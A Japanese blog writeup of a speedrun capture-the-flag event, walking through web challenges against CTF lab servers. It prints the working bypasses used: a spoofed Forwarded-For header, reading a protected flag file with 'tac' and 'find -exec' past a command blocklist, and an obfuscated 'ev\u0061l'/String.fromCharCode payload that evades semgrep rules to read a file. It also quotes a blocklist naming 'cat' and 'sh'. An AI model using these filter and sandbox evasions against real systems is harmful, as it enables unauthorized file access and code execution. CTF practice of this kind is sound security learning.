Flatt Security Speedrun CTF#2 writeup
はじめに
12/05に開催されたFlatt Security Speedrun CTF#2に参加してきました。
初回はCODEBLUEの際に開催されていて、全完できなかったのでリベンジしに来ました。結論から言うと連敗です。
Scoreboardはこんな感じでした。なんとか3位に入れたのは昨日早解きの練習したおかげだと思いたいです。
Writeup
Writeupでは問題サーバのIPアドレスをlocalhost
にしています。
実際にローカルで検証したと明記しているとき以外は問題サーバを直接叩いています。時間がもったいないので。
X
目標タイム 5:00
このCTFでは、問題を開始してからの時間が記録されます。
が、問題名は最初から開示されているので、まずはそこから問題をGuessします。
WebジャンルでXといえば、自分の脳ではとりあえずX-Forwarded-For
とかかなと思い、Burpを起動します。
準備ができたら開始し、問題ファイルをダウンロードしながらページを開き、レスポンスを見る前にRepeaterに投げます。
X-Forwarded-For: 127.0.0.1
をつけてみるも、You are not coming from 127.0.0.1!
と怒られます。
というわけでX-
系の奴を一通りつけて試すと、
x header is banned!
と返ってきます。
う〜んなるほどね。
わからんのでXを消してみます
Forwarded-For: 127.0.0.1
flag{not_only_x-forwarded-for}
行けました。
タイムは2:21.5です。
busybox1
目標タイム 5:00
busyboxはまぁなんとなくわかるのでとりあえずスタート。
開いてみると入力欄があり、どうやらWebshellっぽいです。
とりあえずls
してみると、
bun.lockb
index.html
node_modules
package.json
server.ts
tsconfig.json
はぇ〜、Bunなのか
Flagがどこにあるのかわからないので問題ファイルを見ます。
Dockerfileを見ると
RUN touch /flag && chown root:ctf /flag && chmod 660 /flag
って書いてあったので、
cat /flag
します
Banned!
ダメでした。
server.ts
を見ると
if (["cat", "sh"].some((banned) => command[0].includes(banned))) {
return Response.json({ error: "Banned!" });
}
と書いてあるので、ダメっぽいです。
catがダメならtacで行きます。
tac /flag
flag{you_can_read_any_file_without_cat}
行けました。tacってbusyboxにあったんだ
タイムは3:06.6です。
busybox2
目標タイム 10:00
まぁ同じ方法は無理だろうとは思いつつ、とりあえず試してみる
tac /flag
tac: /flag: Permission denied
おっとそういう感じか。
というわけで配布ファイルをちゃんと見ます。
なんかgetflag.c
とかいうファイルがあるので、よく見ると/getflag
を実行すればいいっぽいです。
/getflag
Only commands in /bin are allowed!
まぁそうだよね
コマンドの引数で実行させるということで、パッと思いついたfind
を試しますが、find
のexecのフォーマットを毎回忘れます。最近はfd使ってるしxargsでやっちゃうし
find . -exec /getflag {} \;
flag{you_can_directly_run_busybox_sh_btw}
いっぱい出てきた。Flagがいっぱいあってうれしい。
タイムは2:58.0です。
semgrep
目標タイム 20:00
さて、Speedrunでは休憩のタイミングが大事です。
ここまで割りと順調に進んできたので、休憩を入れます。
会場の地図を見て喫煙所を発見したので一服します。
返ったらまずはsemgrepをインストールし、ドキュメントなどを開いておきます。
あとcolimaを立ち上げてなかったので立ち上げます。
スタート
入力欄とRunボタンがありますが、よくわからん
なんとなくsemgrepでFlagにマッチさせるのかなと思い、"flag"
とか/flag/i
を入力してRunしてみるも、ダメでした。
ここで割りと大幅にロス。
配布ファイルを見てみると、全然違いました。入力したコードに対してsemgrepを実行し、問題なければ実行してくれる感じです。
semgrepのルールは153行に渡るYamlで書かれており、文字列リテラルとかevalとかimport, require, File, Bunなどが一通り禁止されています。
Webっぽくなってきた。
とりあえず重いのでローカルで環境を立ち上げます。
Web初心者でJavaScriptもBunも何もわからないので、ドキュメントとChatGPTを駆使しました。
ChatGPTに聞いたら文字列がString.fromCharCode
で書けるらしいので、Pythonのchr
と同じ感じかなと思い、String.fromCharCode(102)+String.fromCharCode(108)+String.fromCharCode(97)+String.fromCharCode(103)
を入力してRunしてみると、
flag
が返ってきたので、まぁ文字列リテラルのバイパスはできていそうです。
が、結局BunとかFileとかが禁止されているので、どうやってFlagを読み込むかわからず唸っていました。大幅ロス。
途中でふと思いついて
ev\u0061l
を投げてみたらなんか行けたので、勝ったと思い
Bun.file("/flag").text()
をエンコードして
ev\u0061l(String.fromCharCode(66)+String.fromCharCode(117)+String.fromCharCode(110)+String.fromCharCode(46)+String.fromCharCode(102)+String.fromCharCode(105)+String.fromCharCode(108)+String.fromCharCode(101)+String.fromCharCode(40)+String.fromCharCode(34)+String.fromCharCode(47)+String.fromCharCode(102)+String.fromCharCode(108)+String.fromCharCode(97)+String.fromCharCode(103)+String.fromCharCode(34)+String.fromCharCode(41)+String.fromCharCode(46)+String.fromCharCode(116)+String.fromCharCode(101)+String.fromCharCode(120)+String.fromCharCode(116)+String.fromCharCode(40)+String.fromCharCode(41))
を投げます。
flag{**dummy**}
┌─────────────┐
│ Scan Status │
└─────────────┘
Scanning 1 file tracked by git with 8 Code rules:
Language Rules Files Origin Rules
────────────────────────── ────────────────
js 8 1 Custom 8
ts 8 1
┌──────────────┐
│ Scan Summary │
└──────────────┘
Ran 8 rules on 1 file: 0 findings.
こんな感じで用意したダミーのフラグが取れました。
が、リモートに投げるとなんか503が出ます。
そのままタイムアップです。敗北。
まとめ
Web初心者すぎて知らなかったんですが、String.fromCharCodeとかいうのは引数を複数取れるらしいです。俺がPythonで作ったツールは無駄でした。
まぁ最初の3問で早解きできたのは良かったです。そういう意味ではリベンジになった。
Tシャツも貰えて楽しかったので、また機会があればリベンジします。
あとUpsolveもします。5問目が気になるし4問目も想定解法じゃないっぽいし。
おわりに
この記事はn01e0 Advent Calendar 2023の6日目の記事です。
明日はあるかわかりません
また、IPFactory OB Advent Calendar 2023と🎄GMOペパボエンジニア Advent Calendar 2023の6日目の記事も兼ねています。
Comments